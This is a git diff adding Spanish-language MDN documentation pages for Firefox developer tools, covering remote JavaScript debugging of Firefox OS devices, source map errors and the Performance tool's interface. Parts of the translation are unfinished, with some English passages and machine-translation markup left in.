+<p>Para ejecutar contenido Web ejecutado directamente en Firefox (no importa si está guardado localmente en tu equipo o en un servidor), seleccione la opción Depurador del Menú Desarrollador Web en Herramientas.</p>
+
+<p>Una vez que ha <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up" title="/ en-US / docs / Mozilla / Firefox_OS / Debugging / Setting_up">configurado Firefox y Firefox OS para soportar depuración</a>, puede usar el Depurador Remoto para depurar su código ejecutado en  un dispositivo Firefox OS o en el simulador de Firefox OS.</p>
+
+<p>A fin de depurar código  JavaScript ejecutado en un dispositivo  Firefox OS o Android, debe verificar que el dispositivo este conectado al puerto USB y que ese <code>lsusb</code> y <code>adb</code> pueden verlo. Entonces deberá re-enviar el puerto  TCP apropiado al dispositivo abriendo una ventana de  terminal y digitando el siguiente comando:</p>
+
+<pre class="notranslate">adb forward tcp:6000 tcp:6000</pre>
+
+<div class="note">
+<p><strong>Recuerda:</strong> D<span class="rangySelectionBoundary" id="selectionBoundary_1428470313580_2070723245854429" style="display: none; line-height: 0;"></span>eberás re-enviar el puerto cada vez que reinicies el dispositivo.</p>
+</div>
+
+<p>Ahora puede abrir el depurador del menú de desarrolladores. Le pedirá especificar la dirección IP y el puerto al que se quiere conectar. Dé click en "ok" y puede iniciar la depuración.</p>
+
+<p><img alt="Un vistazo rápido a cómo se ve el depurador remoto" src="/files/4373/remote-debugger-started.png" style="height: 457px; width: 961px;"></p>
+
+<p>Llegado a este punto, el depurador no está ejecutandose todavía, debido a que no se han puesto puntos de ruptura o breakpoints. El dispositivo solo permanece a la espera. De hecho, en las siguientes secciones se explica como usar el depurador.  </p>
+
+<h2 id="La_Barra_del_Depurador">La Barra del Depurador</h2>
+
+<p>La barra de herramientas tiene diversos controles:</p>
+
+<p><img alt="PNG del diagrama de barra de herramientas etiquetado" src="/files/4381/Remote%20Debugger%20Toolbar.png" style="height: 157px; width: 868px;"></p>
+
+<dl>
+ <dt>Pause/Resume (F6)</dt>
+ <dd>Pausa o reanuda la ejecución de un script que estas depurando.</dd>
+ <dt>Step Over (F7)</dt>
+ <dd>Pausa la linea en curso de codigo JavaScript.</dd>
+ <dt>Step Into (F8)</dt>
+ <dd>Pausa la llamada a la función de la linea en curso del código JavaScript.</dd>
+ <dt>Step Out (Shift-F8)</dt>
+ <dd>Ejecuta el script hasta que termina la ejecución de la función.</dd>
+ <dt>Script Chooser (Ctrl-P or Cmd-P)</dt>
+ <dd>Este pop-up menu te deja seleccionar uno de los scripts en ejecución para leer su código, colocar puntos de ruptura, y continuar.</dd>
+ <dt>Script Filter</dt>
+ <dd>Este filtro de script (que también funciona como caja de busquedas) nos deja introducir una cadena para filtrar que scripts deben aparecer en el Buscador de Script. Consulte {{anch("Using the script filter")}}  a continuación.</dd>
+ <dt>Expandir Paneles</dt>
+ <dd>Expande o contrae la ventana para mostar u ocultar los paneles laterales.</dd>
+ <dt>Debugger Options</dt>
+ <dd>Aparece un menu en una ventana emergente dejandote configurar el depurador. Consulte {{anch("Opciones de depuración")}} a continuación.</dd>
+</dl>
+
+<div class="note">
+<p>Nota: El depurador de contenido Web tiene un icono de Cierre al principio de la barra de tareas; puedes usarlo para cerrar el depurador.</p>
+</div>
+
+<h3 id="Usando_el_filtro_de_Scripts">Usando el filtro de Scripts</h3>
+
+<p>Cuando haces clic en el filtro de script de la barra de herramientas, puedes introducir una cadena para filtrar el menú de selección de script para que solo muestre los scripts seleccionados. Además, como puede ver al hacer clic en esta caja, hay operadores especiales que puedes usar para utilizar el cuadro como ventana de busqueda, así como para otras utilidades. Cada uno de estos operadores especiales tiene un atajo de teclado que automáticamente te lleva a la ventana de filtros e insertará el operador en el cuadro por usted, para que pueda comenzar a escribir.</p>
+
+<p><img alt="Captura de pantalla del panel emergente del operador del cuadro de búsqueda." src="/files/4393/operator-popup.png" style="height: 146px; width: 199px;"></p>
+
+<dl>
+ <dt>Search in all files - ! (Cmd-Opt-F)</dt>
+ <dd>Busca el texto que ingresa en todos los scripts en ejecución. Esto agrega un panel justo debajo de la barra de herramientas que muestra todos los archivos coincidentes, cada uno con un cuadro de divulgación que le permite ver las coincidencias encontradas dentro de él.</dd>
+ <dt>Find in this file - # (Cmd-F)</dt>
+ <dd>Busca el texto que ingresas en el archivo que estás viendo actualmente.</dd>
+ <dt>Jump to line - : (Cmd-J)</dt>
+ <dd>Salta al numero de línea que has introducido en la ventana.</dd>
+ <dt>Filter variables - * (Cmd-Opt-V)</dt>
+ <dd>Filtra las variables mostradas para incluir solo aquellas que coinciden con la cadena especificada.</dd>
+</dl>
+
+<h3 id="Opciones_del_depurador">Opciones del depurador</h3>
+
+<p>El icono de Opciones del depurador, cuando cliqueas, presenta un menu de opciones emergente que te deja ajustar el comportamiento del depurador.</p>
+
+<dl>
+ <dt>Pausa en excepciones</dt>
+ <dd>Cuando esta opción esta marcada, la ejecución del script se pausará automáticamente cada vez que se produzca una excepción de JavaScript.</dd>
+ <dt>Mostrar paneles al inicio</dt>
+ <dd>Cuando esta opción esta marcada, los dos paneles de la barra lateral del depurador son visibles cuando se inicia el depurador por primera vez; por defecto, no se ven.</dd>
+ <dt>Mostrar propiedades ocultas</dt>
+ <dd>Si no marcas esta opción, las propiedades de JavaScript ocultas (es decir, aquellas que son no-enumerables) no se muestran.</dd>
+ <dt>Mostrar cuadro de busqueda de variables</dt>
+ <dd>Habilitar esta opción agrega un cuadro de búsqueda "Filtrar variables" al panel de variables, que pueda filtrar la lista de variables que se muestra.</dd>
+</dl>
+
+<h2 id="Uso_del_depurador">Uso del depurador</h2>
+
+<p>El depurador de JavaScript tiene la mayoría de las características estándar que espera en un depurador moderno.</p>
+
+<h3 id="Breakpoints">Breakpoints</h3>
+
+<p>Puede establecer un punto de interrupción eligiendo el archivo en el que desea establecer un punto de interrupción (si aún no lo está mirando) utilizando el menú desplegable del selector de guiones y luego haciendo clic en la columna del número de línea, a la izquierda del to the left of the line number itself, en la línea de código en la que desea establecer un punto de interrupción.También puede hacer clic con el botón derecho en el código, en la línea en la que desea crear un punto de interrupción, y usar el menú contextual resultante para crear un punto de interrupción (Ctrl + B o Cmd-B) o un punto de interrupción condicional (Ctrl + Shift + B o Cmd-Shift-B)</p>
+
+<p>Por ejemplo, usemos el depurador remoto para establecer un punto de interrupción que se active siempre que baje la barra de notificaciones. Para hacer eso, elija  "app://system.gaiamobile.org/js/quick_settings.js" (esta es la aplicación de configuración rápida que aparece cuando despliega la barra de notificaciones). Vaya al método <code>handleEvent()</code> y haga clic a la izquierda de la primera línea de código. Esto agregará un indicador de punto de interrupción azul al lado de esa línea, como este:</p>
+
+<p><img alt="Imagen que muestra cómo se ve un punto de interrupción establecido" src="/files/4395/set-breakpoint.png" style="border-style: solid; border-width: 1px; height: 45px; width: 404px;"></p>
+
+<p>Puede volver a desactivar el punto de interrupción, por supuesto, haciendo clic en ese indicador de punto de interrupción nuevamente. La parte inferior del panel de la pila también muestra una lista de todos los puntos de interrupción establecidos actualmente. Consulte {{anch ("Gestión de puntos de interrupción")}} para obtener detalles sobre las cosas que puede hacer con esta lista.</p>
+
+<p>Ahora, despliegue la barra de notificaciones en su dispositivo. La barra se desplegará y luego se encenderá el punto de interrupción cuando la aplicación reciba su primer evento. Si no tiene los paneles mostrados, se abrirán en este momento (para mostrarle el marco de la pila, la visualización de variables, etc.). El depurador, en este punto, se verá así:</p>
+
+<p><img alt="Una imagen que muestra cómo se ve cuando se alcanza un punto de interrupción." src="/files/4397/breakpoint-reached.png"></p>
+
+<p>Mientras tanto, su dispositivo se verá así:</p>
+
+<p><img alt="Imagen que muestra cómo se ve el dispositivo cuando se activa el punto de interrupción de muestra." src="/files/4399/breakpoint-device.png" style="height: 480px; width: 320px;"></p>
+
+<p><font><font>Puede hacer clic hacia adelante y hacia atrás en el marco de la pila para ver el historial de llamadas. </font><font>Al hacer clic en "ut_onTouchEnd" en el panel del marco de la pila, se mostrará el código </font></font><code>app://system.gaiamobile.org/js/utility_tray.js</code><font><font>que manejó el evento que ocurrió cuando quitó el dedo de la pantalla después de bajar la bandeja de notificaciones, por ejemplo.</font></font></p>
+
+<p><font><font>Puede usar los botones de reanudar, pasar, entrar y salir de la barra de herramientas como en cualquier depurador típico, para recorrer el código. </font><font>La siguiente línea de código para ejecutar tiene una flecha verde a su izquierda. </font><font>Por supuesto, puede establecer y eliminar puntos de interrupción, examinar variables, etc. mientras lo hace.</font></font></p>
+
+<p><font><font>El canalón a la derecha del código fuente tiene indicadores azules en los que puede hacer clic para desplazarse rápidamente hasta el punto de interrupción correspondiente.</font></font></p>
+
+<h4 id="Puntos_de_interrupción_condicionales"><font><font>Puntos de interrupción condicionales</font></font></h4>
+
+<p><font><font>Los puntos de interrupción condicionales son un tipo especial de punto de interrupción que se activa solo cuando una expresión de JavaScript determinada es verdadera. </font><font>Para establecer un punto de interrupción condicional, haga clic derecho en una línea de código y elija "Agregar punto de interrupción condicional" (o presione Ctrl + Shift + B / Cmd-Shift-B). </font><font>También puede crear un punto de interrupción regular y luego agregar una condición haciendo clic con el botón derecho en la lista de puntos de interrupción en la esquina inferior izquierda de la ventana del depurador.</font></font></p>
+
+<p><font><font>Luego puede ingresar una condición que debe ser verdadera para que se active el punto de interrupción:</font></font></p>
+
+<p><img alt="El cuadro para configurar un punto de interrupción condicional" src="/files/4431/cond-breakpoint-box.png" style="height: 115px; width: 458px;"></p>
+
+<p><font><font>Ahora, cuando se alcanza la línea de código correspondiente, solo se detendrá la ejecución de la expresión si </font></font><code>evt.type == 'click'</code><font><font>es verdadera.</font></font></p>
+
+<h4 id="Gestionar_puntos_de_interrupción"><font><font>Gestionar puntos de interrupción</font></font></h4>
+
+<p><font><font>Puede administrar los puntos de interrupción que ha establecido utilizando la lista de puntos de interrupción en el lado inferior izquierdo de la ventana del depurador. </font><font>Activar y desactivar la casilla de verificación en cualquier punto de interrupción activa y desactiva el punto de interrupción. </font><font>Al hacer clic en cualquier punto de interrupción condicional, aparecerá el panel de edición de puntos de interrupción condicional, como se ve en {{anch ("Puntos de interrupción condicionales")}}.</font></font></p>
+
+<p><font><font>Puede obtener opciones adicionales haciendo clic derecho en cualquier punto de interrupción:</font></font></p>
+
+<dl>
+ <dt><font><font>Eliminar todos los puntos de interrupción</font></font></dt>
+ <dd><font><font>Elimina todos los puntos de interrupción actuales.</font></font></dd>
+ <dt><font><font>Habilitar todos los puntos de interrupción</font></font></dt>
+ <dd><font><font>Habilita todos los puntos de interrupción actuales. </font><font>Este es un atajo para alternar en las casillas de verificación junto a todos los puntos de interrupción.</font></font></dd>
+ <dt><font><font>Deshabilitar todos los puntos de interrupción</font></font></dt>
+ <dd><font><font>Desactiva (sin eliminar) todos los puntos de interrupción. </font><font>Este es un atajo para desactivar las casillas de verificación junto a todos los puntos de interrupción.</font></font></dd>
+ <dt><font><font>Habilitar a otros</font></font></dt>
+ <dd><font><font>Habilita todos los puntos de interrupción excepto el que hizo clic con el botón derecho.</font></font></dd>
+ <dt><font><font>Deshabilitar a otros</font></font></dt>
+ <dd>Disables all breakpoints except the one you right-clicked.</dd>
+ <dt>Remove others</dt>
+ <dd>Removes all breakpoints except the one you right-clicked.</dd>
+ <dt>Configure conditional breakpoint</dt>
+ <dd>Configures the conditional breakpoint on which you right-clicked. If the breakpoint isn't a conditional one, you can add a condition and turn it into a conditional breakpoint.</dd>
+ <dt>Disable breakpoint</dt>
+ <dd>Disables the breakpoint you right-clicked.</dd>
+ <dt>Enable breakpoint</dt>
+ <dd>Enables the breakpoint you right-clicked.</dd>
+</dl>
+
+<h3 id="The_variable_panel">The variable panel</h3>
+
+<p><img alt="Primera toma del panel variable" src="/files/4403/variable-panel1.png" style="border-style: solid; border-width: 1px; float: left; height: 609px; margin: 8px; width: 208px;">Most of the right-hand pane in the debugger is occupied by the variables available in the scope you're currently viewing. As seen here, it shows the variables for the local scope of the currently executing function (in this case, <code>qs_handleEvent()</code>), the calling function (here it's <code>ut_show()</code>), and the global scope (the {{domxref("Window")}} object, in this case).</p>
+
+<p>Each object can be expanded using a disclosure triangle to show its members, thereby revealing its contents. You can change a variable's value by clicking on its current value and entering a new one; for example, if you click on the "true" next to <code>geolocationEnabled</code>, you can type "false" to set the value to <code>false</code>. Variables whose values you've edited are highlighted in yellow, like this:</p>
+
+<p><img alt="Ejemplo de cómo se ve una variable modificada." src="/files/4405/changed-variable.png" style="height: 26px; width: 198px;"></p>
+
+<p>Pointing your cursor at a variable provides a tooltip that provides additional information about the variable; for example, pointing at the <code>evt</code> object says "<s>configurable</s> enumerable writable". This tells you that the <code>evt</code> object is not configurable, but is enumerable and writable. See <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="/ es-US / docs / JavaScript / Reference / Global_Objects / Object / defineProperty"><code>Object.defineProperty()</code></a> for details on what these property descriptors mean.</p>
+
+<p>If you've enabled the filter variables box, as shown in the screenshot, you can reduce clutter in this list to limit the list to showing only the things you really want to see. This search is even recursive; it will search through sub-objects. Typing "blue", for example, restricts the list to the <code>this.bluetooth</code> object in the <code>qs_handleEvent()</code> function's scope, and the <code>Bluetooth</code> and <code>BluetoothTransfer</code> objects in the global scope.</p>
+
+<h3 class="cleared" id="Watch_expressions">Watch expressions</h3>
+
+<p>Watch expressions are expressions that are evaluated each time execution pauses. You can then examine the results of these expressions. These are useful in that they let you inspect invariants in your code that you know are there but aren't necessarily in the code ready for inspection. To add a watch expression, click in the box that says "Add watch expression" and enter a JavaScript expression whose output you'd like to monitor as you step through code.</p>
+
+<p>Then start running your code. The watch expression does nothing until you begin to step through your code, so nothing happens until you reach a breakpoint. At that point, a box showing your active watch expressions and their current values will appear.</p>
+
+<p>For example, let's say we're stepping through some code and we want to quickly know what the value of a variable <code>a</code> multiplied by two is, without having to be bothered with any tedious "thinking". We can enter the expression a*2 into the "Add a watch expression box" and hit enter, set an appropriate breakpoint, and run our code.</p>
+
+<p>When our breakpoint is reached, let's say the value of <code>a</code> is 1. The resulting display looks like this:</p>
+
+<p><img alt="Cómo se ve una expresión de reloj despedido" src="/files/4433/watch-expression-fired.png" style="height: 105px; width: 209px;"></p>
+
+<p>You can step through your code, watching the value of the expression as it changes; each time it does, the box will flash briefly yellow. You can remove a watch expression by clicking the "x" icon next to it, and, of course, you can have more than one watch expression at a time.</p>
+
+<h2 id="Stopping_the_debugger">Stopping the debugger</h2>
+
+<p><font><font>Cuando haya terminado de depurar, si lo desea, puede desactivar la depuración remota en el dispositivo abriendo la aplicación Configuración y luego eligiendo Información del dispositivo. </font><font>En esa página, verá un botón Más información. </font><font>Toque eso, luego en la página siguiente, desplácese hacia abajo hasta "Desarrollador" y toque eso. </font><font>Eso presenta una lista de opciones para desarrolladores. </font><font>Desactive la depuración remota allí. </font><font>Sin embargo, no tienes que hacer esto si no quieres.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>Nota:</font></font></strong><font><font> No es necesario reiniciar solo para activar y desactivar el soporte de depuración remota en el dispositivo, a partir de las compilaciones nocturnas del 29 de noviembre de 2012 o posteriores.]</font></font></p>
+</div>
+
+<h2 id="Vea_también">Vea también:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging" title="/ en-US / docs / Mozilla / Firefox_OS / Depuración"><font><font>Depuración en Firefox OS</font></font></a></li>
+ <li><a href="https://wiki.mozilla.org/Remote_Debugging_Protocol" title="https://wiki.mozilla.org/Remote_Debugging_Protocol"><font><font>Protocolo de depuración remota</font></font></a></li>
+ <li><a href="https://hacks.mozilla.org/2012/08/remote-debugging-on-firefox-for-android/" title="https://hacks.mozilla.org/2012/08/remote-debugging-on-firefox-for-android/"><font><font>Depuración remota en Firefox para Android</font></font></a><font><font> (entrada de blog)</font></font></li>
+</ul>
diff --git a/files/es/tools/debugger/source_map_errors/index.html b/files/es/tools/debugger/source_map_errors/index.html
new file mode 100644
index 0000000000..ff12850c79
--- /dev/null
+++ b/files/es/tools/debugger/source_map_errors/index.html
@@ -0,0 +1,70 @@
+---
+title: Source map errors
+slug: Tools/Debugger/Source_map_errors
+tags:
+  - Consola
+  - Debugger
+  - Depurador
+  - Herramientas
+  - Source maps
+  - mapas fuente
+translation_of: Tools/Debugger/Source_map_errors
+---
+<div>{{ToolsSidebar}}</div>
+
+<p class="summary">Los mapas fuente son ficheros JSON que proporcionan una forma de asociar las fuentes transformadas, tal como las ven los navegadores, con su fuente original, tal como fue escrita por el desarrollador. A veces puedes encontrar problemas trabajando con los mapas fuente.  Esta página explica los problemas más comunes y como resolverlos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si no conoces los mapas fuente, puedes aprender más sobre ellos en  <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Como usar un mapa fuente</a>.</p>
+</div>
+
+<h2 id="Informe_de_errores_general_de_mapas_fuente">Informe de errores general de mapas fuente</h2>
+
+<p>Si ves un problema, aparecerá un mensaje en la consola web. Este mensaje mostrará un mensaje de error, la dirección URL del recurso, y la URL del mapa fuente:</p>
+
+<p><img alt="Error from invalid JSON" src="https://mdn.mozillademos.org/files/15423/invalid-json.png" style="border-style: solid; border-width: 1px; display: block; height: 57px; margin: 0px auto; width: 744px;"></p>
+
+<p>Aquí, la URL del recurso nos dice que <code>bundle.js</code> hace mención a un mapa fuente, y la URL del mapa fuente nos dice dónde encontrar los datos del mapa fuente (en este caso, relativo al recurso).  El error nos dice que el mapa fuente no son datos en formato JSON — por tanto estamos proporcionando el archivo erroneo.</p>
+
+<p>Hay unas cuantas formas en las que los mapas fuente pueden ir mal; Estas se detallan en las siguientes secciones.</p>
+
+<h2 id="Mapa_fuente_no_encontrado_o_inaccesible">Mapa fuente no encontrado o inaccesible</h2>
+
+<p>El mapa fuente puede estar desaparecido o inaccesible.</p>
+
+<p><img alt="Source map file is missing" src="https://mdn.mozillademos.org/files/15429/missing-map.png" style="border-style: solid; border-width: 1px; display: block; height: 42px; margin: 0px auto; width: 733px;"></p>
+
+<p>Para arreglarlo debemos asegurarnos que el fichero existe y esta siendo servido y es accesible por el navegador.</p>
+
+<h2 id="Mapa_fuente_invalido">Mapa fuente invalido</h2>
+
+<p>El mapa fuente puede ser inválido — bien porque no es un fichero en formato JSON o porque tiene una estructura incorrecta. Los típicos mensajes de error son:</p>
+
+<ul>
+ <li><code>SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data</code></li>
+ <li><code>Error: "version" is a required argument</code></li>
+</ul>
+
+<p><img alt='Error: "version" is a required argument' src="https://mdn.mozillademos.org/files/15425/missing-field.png" style="border-style: solid; border-width: 1px; display: block; height: 45px; margin: 0px auto; width: 743px;"></p>
+
+<h2 id="Fuente_original_no_encontrada">Fuente original no encontrada</h2>
+
+<p>La fuente original podría estar desaparecida. Este mensaje puede encontrarse cuando se intenta abrir una de las fuentes originales en el debugger. El mensaje parece un poco diferente en este caso:</p>
+
+<p><img alt="Debugger source tab showing the error" src="https://mdn.mozillademos.org/files/15421/Screenshot%20from%202017-09-15%2014-32-02.png" style="border-style: solid; border-width: 1px; display: block; height: 35px; margin: 0px auto; width: 727px;"></p>
+
+<p>En este caso, el error tambien se mostrará en el debugger en la pestaña de la fuente:</p>
+
+<p><img alt="Debugger source tab showing the error" src="https://mdn.mozillademos.org/files/15427/debugger-tab.png" style="border-style: solid; border-width: 1px; display: block; height: 109px; margin: 0px auto; width: 616px;"></p>
+
+<h2 id="Error_de_red_intentando_acceder_al_recurso._NetworkError_when_attempting_to_fetch_resource">Error de red intentando acceder al recurso. (NetworkError when attempting to fetch resource)</h2>
+
+<p>Un bug de Firefox evita que los mapas fuente se descarguen para las extensiones y complementos.</p>
+
+<p>Visita <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1437937">Bug 1437937: WebExtensions Doesn't Find Source Maps</a> para más detalles.</p>
+
+<pre class="syntaxbox"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource.
+ Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js
+ Source-Map-Adresse: background.js.map</span></span></span></pre>
+
+<p>La única forma de corregir este error es cambiando manualmente la URL del mapa a una pública (http://localhost:1234/file.map.js) y arrancar un servidor web local en el puerto establecido.</p>
diff --git a/files/es/tools/desempeño/index.html b/files/es/tools/desempeño/index.html
new file mode 100644
index 0000000000..9dbf8e643d
--- /dev/null
+++ b/files/es/tools/desempeño/index.html
@@ -0,0 +1,91 @@
+---
+title: Rendimiento
+slug: Tools/Desempeño
+translation_of: Tools/Performance
+---
+<p>La herramienta de Rendimiento te da una visión general de la capacidad de respuesta del sitio que visitas así como de su JavaScript y el modelo de diseño. Con esta herramienta puedes generar un perfil o registro de un sitio web en un período de tiempo. En dicho perfil la herramienta te ofrece una <a href="/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">vista general</a> de todas las acciones que tu navegador empleó para generar el sitio web así como una gráfica con el <a href="/en-US/docs/Tools/Performance/Frame_rate">tiempo de respuesta</a> de dicha pagina.</p>
+
+<p>Para examinar con más detalle los aspectos del perfil tienes tres herramientas auxiliares:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>  muestra qué operaciones ejecutó el navegador, tales como el modelo de ejecución empleado, JavaScript, repaints y liberación de memoria.</li>
+ <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> muestra en qué funciones de JavaScript se requirió más tiempo del navegador.</li>
+ <li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> muestra la pila de llamadas de JavaScript a lo largo de la grabación.</li>
+</ul>
+
+<p>{{EmbedYouTube("WBmttwfA_k8")}}</p>
+
+<hr>
+<h2 id="Preámbulo">Preámbulo</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/UI_Tour">UI Tour</a></dt>
+ <dd>
+ <p>Guía rápida de la interfaz para comenzar a manejar la herramienta de rendimiento.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/How_to">How to</a></dt>
+ <dd>Tareas básicas: abrir la herramienta, crear, guardar, cargar y configurar las grabaciones.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Componentes_de_la_herramienta_de_Rendimiento">Componentes de la herramienta de Rendimiento</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate</a></dt>
+ <dd>Comprender la capacidad de respuesta general de tu sitio.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></dt>
+ <dd>Encontrar cuellos de botella en el JavaScript de tu sitio.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></dt>
+ <dd>Comprender el trabajo que el navegador realiza cuando un usuario interactúa con el sitio web.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></dt>
+ <dd>Ver qué funciones de JavaScript se ejecutan , y cuando , en el transcurso de la grabación.</dd>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Escenarios">Escenarios</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animating CSS properties</a></dt>
+ <dd>Utiliza Waterfall para entender cómo el navegador actualiza una página, y cómo las diferentes propiedades CSS pueden afectar al rendimiento.</dd>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a></dt>
+ <dd>Utiliza la velocidad de los fotogramas y la herramienta Waterfall para resaltar los problemas de rendimiento provocados por los JavaScript de larga duración y cómo los workers pueden ayudar en esta situación.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
+
+<div class="column-half">
+<dl>
+ <dd> </dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/es/tools/desempeño/ui_tour/index.html b/files/es/tools/desempeño/ui_tour/index.html
new file mode 100644
index 0000000000..8898abae03
--- /dev/null
+++ b/files/es/tools/desempeño/ui_tour/index.html
@@ -0,0 +1,134 @@
+---
+title: Paseo por la interfaz de usuario
+slug: Tools/Desempeño/UI_Tour
+translation_of: Tools/Performance/UI_Tour
+---
+<p>La interfaz de usuario (UI) de las herramientas de rendimiento, consta de cuatro partes principales:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13220/perf-tool-pieces.png" style="display: block; height: 702px; margin-left: auto; margin-right: auto; width: 1616px;"></p>
+
+<ul>
+ <li><a href="/es/docs/Tools/Desempeño/UI_Tour#Toolbar">Barra de herramientas (Toolbar)</a></li>
+ <li><a href="/es/docs/Tools/Desempeño/UI_Tour#Recordings_pane">Lista de grabaciones (Recordings pane)</a></li>
+ <li><a href="/es/docs/Tools/Desempeño/UI_Tour#Recording_overview">Vista previa de la grabación (Recording overview)</a></li>
+ <li><a href="/es/docs/Tools/Desempeño/UI_Tour#Details_pane">Ventana de detalles (Details pane)</a>, que puede mostrar:
+  <ul>
+   <li><a href="/en-US/docs/Tools/Performance/Waterfall">Vista en cascada (Waterfall)</a></li>
+   <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Árbol de llamadas (Call Tree)</a></li>
+   <li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Gráfico de llama(Flame Chart)</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Barra_de_herramientas_(Toolbar)">Barra de herramientas (Toolbar)</h2>
+
+<p>De izquierde a derecha la barra de herramientas contiene los siguientes botones:</p>
+
+<ul>
+ <li>
+  <p>Borrar la lista de grabaciones.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><em>Nota: Si haces esto, perderas cualquier grabación que no haya sido guardada.</em></p>
+</div>
+
+<ul>
+ <li>Inicia o detiene una grabación.</li>
+ <li>Importar una grabación previamente guardada.</li>
+ <li>Filtra los <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">marcadores</a> que muestra la vista en cascada.</li>
+ <li>Cambia la vista activa en la <a href="/es/docs/Tools/Desempeño/UI_Tour#Details_pane">ventana de detalles</a>.</li>
+ <li>Muestra un popup con la configuración.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13222/perf-toolbar.png" style="display: block; height: 434px; margin-left: auto; margin-right: auto; width: 1672px;"></p>
+
+<h2 id="Lista_de_grabaciones_(Recordings_pane)">Lista de grabaciones (Recordings pane)</h2>
+
+<p>La lista de grabaciones muestra todas las grabaciones activas, incluyendo las realizadas durante la sesion y las que hayas importado.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10917/perf-recordings-pane.png" style="display: block; height: 337px; margin-left: auto; margin-right: auto; width: 300px;"></p>
+
+<p>En el hay una grabación seleccionada en todo momento y esta se mostrara en el resto de la herramienta. Para seleccionar una grabación diferente, presiónala en la lista del panel. Para guardarla como un archivo JSON haz click en "Guardar".</p>
+
+<h2 id="Vista_previa_de_la_grabacion_(Recording_overview)">Vista previa de la grabacion (Recording overview)</h2>
+
+<p>Muestra un resumen de toda la grabación, donde el eje-x representa el tiempo.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10919/perf-overview.png" style="display: block; height: 164px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Contiene dos elementos: una vista previa de la vista en cascada y gráfico con el promedio de fotogramas.</p>
+
+<h3 id="Resumen_de_la_vista_en_cascada">Resumen de la vista en cascada</h3>
+
+<p>Nos presenta una versión comprimida de la <a href="/en-US/docs/Tools/Performance/Waterfall">vista en cascada</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10923/perf-waterfall-overview.png" style="display: block; height: 76px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Las operaciones grabadas están codificadas con el mismo <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">esquema de colores empleado para la vista en cascada</a> que se muestra en la ventana de detalles.</p>
+
+<h3 id="Gráfico_con_el_promedio_de_fotogramas">Gráfico con el promedio de fotogramas</h3>
+
+<p>El promedio de fotogramas nos da una idea de como el navegador responde durante la grabación:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10921/perf-frame-rate.png" style="display: block; height: 88px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Puedes consultar la entrada sobre el <a href="/en-US/docs/Tools/Performance/Frame_rate">promedio de fotogramas</a>.</p>
+
+<h3 id="Relacionando_eventos">Relacionando eventos</h3>
+
+<p>Como estos eventos están sincronizados, <span>puedes crear una </span>correlación entre ellos.</p>
+
+<p>Por ejemplo en la captura de pantalla inferior, una larga operación de pintado (<a href="/en-US/docs/Tools/Performance/Waterfall#Markers">representada con una barra verde</a> en el resumen de la vista en cascada) corresponde con una caída en el promedio de fotogramas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10925/perf-overview-correlation.png" style="display: block; height: 494px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<h3 id="Ampliando">Ampliando</h3>
+
+<p>Puedes usar la vista previa para seleccionar un trozo de la grabación para examinarlo con mas detalle. Al hacer esto, la ventana de detalles se actualizara con el contenido marcado. En la captura inferior hemos seleccionado la caída en el promedio de fotogramas y así podemos ver la operación de pintado con mas detalle:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10927/perf-zoomed.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
